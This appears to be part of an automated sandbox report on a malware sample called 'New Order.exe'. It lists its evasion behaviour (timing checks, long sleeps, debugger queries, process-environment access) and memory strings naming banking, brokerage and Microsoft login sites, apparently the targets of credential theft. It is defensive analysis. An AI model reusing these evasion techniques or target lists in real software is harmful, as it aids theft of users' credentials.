Source: C:\Windows\SysWOW64\w32tm.exe	API/Special instruction interceptor: Address: 7FFDB4430154
Source: C:\Windows\SysWOW64\w32tm.exe	API/Special instruction interceptor: Address: 7FFDB442DA44

Source: C:\Users\user\Desktop\New Order.exe	Memory allocated: 2CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Memory allocated: 2F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Memory allocated: 2CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Memory allocated: 7DE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Memory allocated: 75F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Memory allocated: 8DE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Memory allocated: 9DE0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe

Code function: 8_2_0184096E rdtsc

8_2_0184096E

Source: C:\Users\user\Desktop\New Order.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3213	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1067	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Window / User API: threadDelayed 1175	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Window / User API: threadDelayed 8797	Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\w32tm.exe	API coverage: 2.7 %

Source: C:\Users\user\Desktop\New Order.exe TID: 936	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7296	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7284	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe TID: 7176	Thread sleep count: 1175 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe TID: 7176	Thread sleep time: -2350000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe TID: 7176	Thread sleep count: 8797 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe TID: 7176	Thread sleep time: -17594000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe TID: 7260	Thread sleep time: -70000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe TID: 7260	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe TID: 7260	Thread sleep time: -49500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe TID: 7260	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe TID: 7260	Thread sleep time: -34000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\w32tm.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\w32tm.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\w32tm.exe

Code function: 14_2_0096CE00 FindFirstFileW,FindNextFileW,FindClose,

14_2_0096CE00

Source: C:\Users\user\Desktop\New Order.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 131E9KP.14.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 131E9KP.14.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 131E9KP.14.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 131E9KP.14.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: 131E9KP.14.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 131E9KP.14.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 131E9KP.14.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 131E9KP.14.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 131E9KP.14.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 131E9KP.14.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: 131E9KP.14.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 131E9KP.14.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: w32tm.exe, 0000000E.00000002.4631373048.00000000009F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 131E9KP.14.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 131E9KP.14.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 131E9KP.14.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 131E9KP.14.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 131E9KP.14.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: XVZmwHdSYwx.exe, 00000011.00000002.4633349461.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
Source: 131E9KP.14.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 131E9KP.14.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: firefox.exe, 00000013.00000002.2799700111.00000232689FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllIIPP
Source: 131E9KP.14.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 131E9KP.14.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 131E9KP.14.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 131E9KP.14.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 131E9KP.14.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 131E9KP.14.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 131E9KP.14.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 131E9KP.14.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 131E9KP.14.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 131E9KP.14.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 131E9KP.14.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 131E9KP.14.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\New Order.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\New Order.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe

Code function: 8_2_0184096E rdtsc

8_2_0184096E

Source: C:\Users\user\Desktop\New Order.exe

Code function: 8_2_00417EA3 LdrLoadDll,

8_2_00417EA3

Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01840185 mov eax, dword ptr fs:[00000030h]	8_2_01840185
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018BC188 mov eax, dword ptr fs:[00000030h]	8_2_018BC188
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018BC188 mov eax, dword ptr fs:[00000030h]	8_2_018BC188
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A4180 mov eax, dword ptr fs:[00000030h]	8_2_018A4180
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A4180 mov eax, dword ptr fs:[00000030h]	8_2_018A4180
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188019F mov eax, dword ptr fs:[00000030h]	8_2_0188019F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188019F mov eax, dword ptr fs:[00000030h]	8_2_0188019F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188019F mov eax, dword ptr fs:[00000030h]	8_2_0188019F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188019F mov eax, dword ptr fs:[00000030h]	8_2_0188019F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FC156 mov eax, dword ptr fs:[00000030h]	8_2_017FC156
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C61C3 mov eax, dword ptr fs:[00000030h]	8_2_018C61C3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C61C3 mov eax, dword ptr fs:[00000030h]	8_2_018C61C3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E1D0 mov eax, dword ptr fs:[00000030h]	8_2_0187E1D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E1D0 mov eax, dword ptr fs:[00000030h]	8_2_0187E1D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E1D0 mov ecx, dword ptr fs:[00000030h]	8_2_0187E1D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E1D0 mov eax, dword ptr fs:[00000030h]	8_2_0187E1D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E1D0 mov eax, dword ptr fs:[00000030h]	8_2_0187E1D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D61E5 mov eax, dword ptr fs:[00000030h]	8_2_018D61E5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018301F8 mov eax, dword ptr fs:[00000030h]	8_2_018301F8
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE10E mov eax, dword ptr fs:[00000030h]	8_2_018AE10E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE10E mov ecx, dword ptr fs:[00000030h]	8_2_018AE10E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE10E mov eax, dword ptr fs:[00000030h]	8_2_018AE10E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE10E mov eax, dword ptr fs:[00000030h]	8_2_018AE10E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE10E mov ecx, dword ptr fs:[00000030h]	8_2_018AE10E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE10E mov eax, dword ptr fs:[00000030h]	8_2_018AE10E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE10E mov eax, dword ptr fs:[00000030h]	8_2_018AE10E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE10E mov ecx, dword ptr fs:[00000030h]	8_2_018AE10E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE10E mov eax, dword ptr fs:[00000030h]	8_2_018AE10E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE10E mov ecx, dword ptr fs:[00000030h]	8_2_018AE10E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AA118 mov ecx, dword ptr fs:[00000030h]	8_2_018AA118
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AA118 mov eax, dword ptr fs:[00000030h]	8_2_018AA118
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AA118 mov eax, dword ptr fs:[00000030h]	8_2_018AA118
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AA118 mov eax, dword ptr fs:[00000030h]	8_2_018AA118
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C0115 mov eax, dword ptr fs:[00000030h]	8_2_018C0115
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01830124 mov eax, dword ptr fs:[00000030h]	8_2_01830124
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01894144 mov eax, dword ptr fs:[00000030h]	8_2_01894144
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01894144 mov eax, dword ptr fs:[00000030h]	8_2_01894144
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01894144 mov ecx, dword ptr fs:[00000030h]	8_2_01894144
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01894144 mov eax, dword ptr fs:[00000030h]	8_2_01894144
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01894144 mov eax, dword ptr fs:[00000030h]	8_2_01894144
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01898158 mov eax, dword ptr fs:[00000030h]	8_2_01898158
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01806154 mov eax, dword ptr fs:[00000030h]	8_2_01806154
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01806154 mov eax, dword ptr fs:[00000030h]	8_2_01806154
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FA197 mov eax, dword ptr fs:[00000030h]	8_2_017FA197
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FA197 mov eax, dword ptr fs:[00000030h]	8_2_017FA197
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FA197 mov eax, dword ptr fs:[00000030h]	8_2_017FA197
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180208A mov eax, dword ptr fs:[00000030h]	8_2_0180208A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018980A8 mov eax, dword ptr fs:[00000030h]	8_2_018980A8
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C60B8 mov eax, dword ptr fs:[00000030h]	8_2_018C60B8
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C60B8 mov ecx, dword ptr fs:[00000030h]	8_2_018C60B8
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018820DE mov eax, dword ptr fs:[00000030h]	8_2_018820DE
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FA020 mov eax, dword ptr fs:[00000030h]	8_2_017FA020
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FC020 mov eax, dword ptr fs:[00000030h]	8_2_017FC020
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018860E0 mov eax, dword ptr fs:[00000030h]	8_2_018860E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018080E9 mov eax, dword ptr fs:[00000030h]	8_2_018080E9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018420F0 mov ecx, dword ptr fs:[00000030h]	8_2_018420F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01884000 mov ecx, dword ptr fs:[00000030h]	8_2_01884000
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A2000 mov eax, dword ptr fs:[00000030h]	8_2_018A2000
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A2000 mov eax, dword ptr fs:[00000030h]	8_2_018A2000
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A2000 mov eax, dword ptr fs:[00000030h]	8_2_018A2000
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A2000 mov eax, dword ptr fs:[00000030h]	8_2_018A2000
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A2000 mov eax, dword ptr fs:[00000030h]	8_2_018A2000
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A2000 mov eax, dword ptr fs:[00000030h]	8_2_018A2000
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A2000 mov eax, dword ptr fs:[00000030h]	8_2_018A2000
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A2000 mov eax, dword ptr fs:[00000030h]	8_2_018A2000
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FC0F0 mov eax, dword ptr fs:[00000030h]	8_2_017FC0F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181E016 mov eax, dword ptr fs:[00000030h]	8_2_0181E016
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181E016 mov eax, dword ptr fs:[00000030h]	8_2_0181E016
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181E016 mov eax, dword ptr fs:[00000030h]	8_2_0181E016
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181E016 mov eax, dword ptr fs:[00000030h]	8_2_0181E016
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FA0E3 mov ecx, dword ptr fs:[00000030h]	8_2_017FA0E3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01896030 mov eax, dword ptr fs:[00000030h]	8_2_01896030
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01802050 mov eax, dword ptr fs:[00000030h]	8_2_01802050
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01886050 mov eax, dword ptr fs:[00000030h]	8_2_01886050
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182C073 mov eax, dword ptr fs:[00000030h]	8_2_0182C073
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182438F mov eax, dword ptr fs:[00000030h]	8_2_0182438F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182438F mov eax, dword ptr fs:[00000030h]	8_2_0182438F
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0180A3C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0180A3C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0180A3C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0180A3C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0180A3C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0180A3C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018083C0 mov eax, dword ptr fs:[00000030h]	8_2_018083C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018083C0 mov eax, dword ptr fs:[00000030h]	8_2_018083C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018083C0 mov eax, dword ptr fs:[00000030h]	8_2_018083C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018083C0 mov eax, dword ptr fs:[00000030h]	8_2_018083C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018BC3CD mov eax, dword ptr fs:[00000030h]	8_2_018BC3CD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018863C0 mov eax, dword ptr fs:[00000030h]	8_2_018863C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE3DB mov eax, dword ptr fs:[00000030h]	8_2_018AE3DB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE3DB mov eax, dword ptr fs:[00000030h]	8_2_018AE3DB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE3DB mov ecx, dword ptr fs:[00000030h]	8_2_018AE3DB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018AE3DB mov eax, dword ptr fs:[00000030h]	8_2_018AE3DB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A43D4 mov eax, dword ptr fs:[00000030h]	8_2_018A43D4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A43D4 mov eax, dword ptr fs:[00000030h]	8_2_018A43D4
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018103E9 mov eax, dword ptr fs:[00000030h]	8_2_018103E9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018103E9 mov eax, dword ptr fs:[00000030h]	8_2_018103E9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018103E9 mov eax, dword ptr fs:[00000030h]	8_2_018103E9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018103E9 mov eax, dword ptr fs:[00000030h]	8_2_018103E9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018103E9 mov eax, dword ptr fs:[00000030h]	8_2_018103E9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018103E9 mov eax, dword ptr fs:[00000030h]	8_2_018103E9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018103E9 mov eax, dword ptr fs:[00000030h]	8_2_018103E9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018103E9 mov eax, dword ptr fs:[00000030h]	8_2_018103E9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FC310 mov ecx, dword ptr fs:[00000030h]	8_2_017FC310
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181E3F0 mov eax, dword ptr fs:[00000030h]	8_2_0181E3F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181E3F0 mov eax, dword ptr fs:[00000030h]	8_2_0181E3F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181E3F0 mov eax, dword ptr fs:[00000030h]	8_2_0181E3F0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018363FF mov eax, dword ptr fs:[00000030h]	8_2_018363FF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A30B mov eax, dword ptr fs:[00000030h]	8_2_0183A30B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A30B mov eax, dword ptr fs:[00000030h]	8_2_0183A30B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A30B mov eax, dword ptr fs:[00000030h]	8_2_0183A30B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01820310 mov ecx, dword ptr fs:[00000030h]	8_2_01820310
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01882349 mov eax, dword ptr fs:[00000030h]	8_2_01882349
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188035C mov eax, dword ptr fs:[00000030h]	8_2_0188035C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188035C mov eax, dword ptr fs:[00000030h]	8_2_0188035C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188035C mov eax, dword ptr fs:[00000030h]	8_2_0188035C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188035C mov ecx, dword ptr fs:[00000030h]	8_2_0188035C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188035C mov eax, dword ptr fs:[00000030h]	8_2_0188035C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188035C mov eax, dword ptr fs:[00000030h]	8_2_0188035C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A8350 mov ecx, dword ptr fs:[00000030h]	8_2_018A8350
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CA352 mov eax, dword ptr fs:[00000030h]	8_2_018CA352
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017F8397 mov eax, dword ptr fs:[00000030h]	8_2_017F8397
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017F8397 mov eax, dword ptr fs:[00000030h]	8_2_017F8397
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017F8397 mov eax, dword ptr fs:[00000030h]	8_2_017F8397
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A437C mov eax, dword ptr fs:[00000030h]	8_2_018A437C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FE388 mov eax, dword ptr fs:[00000030h]	8_2_017FE388
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FE388 mov eax, dword ptr fs:[00000030h]	8_2_017FE388
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FE388 mov eax, dword ptr fs:[00000030h]	8_2_017FE388
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E284 mov eax, dword ptr fs:[00000030h]	8_2_0183E284
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E284 mov eax, dword ptr fs:[00000030h]	8_2_0183E284
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01880283 mov eax, dword ptr fs:[00000030h]	8_2_01880283
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01880283 mov eax, dword ptr fs:[00000030h]	8_2_01880283
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01880283 mov eax, dword ptr fs:[00000030h]	8_2_01880283
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017F826B mov eax, dword ptr fs:[00000030h]	8_2_017F826B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018962A0 mov eax, dword ptr fs:[00000030h]	8_2_018962A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018962A0 mov ecx, dword ptr fs:[00000030h]	8_2_018962A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018962A0 mov eax, dword ptr fs:[00000030h]	8_2_018962A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018962A0 mov eax, dword ptr fs:[00000030h]	8_2_018962A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018962A0 mov eax, dword ptr fs:[00000030h]	8_2_018962A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018962A0 mov eax, dword ptr fs:[00000030h]	8_2_018962A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FA250 mov eax, dword ptr fs:[00000030h]	8_2_017FA250
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0180A2C3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0180A2C3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0180A2C3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0180A2C3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A2C3 mov eax, dword ptr fs:[00000030h]	8_2_0180A2C3
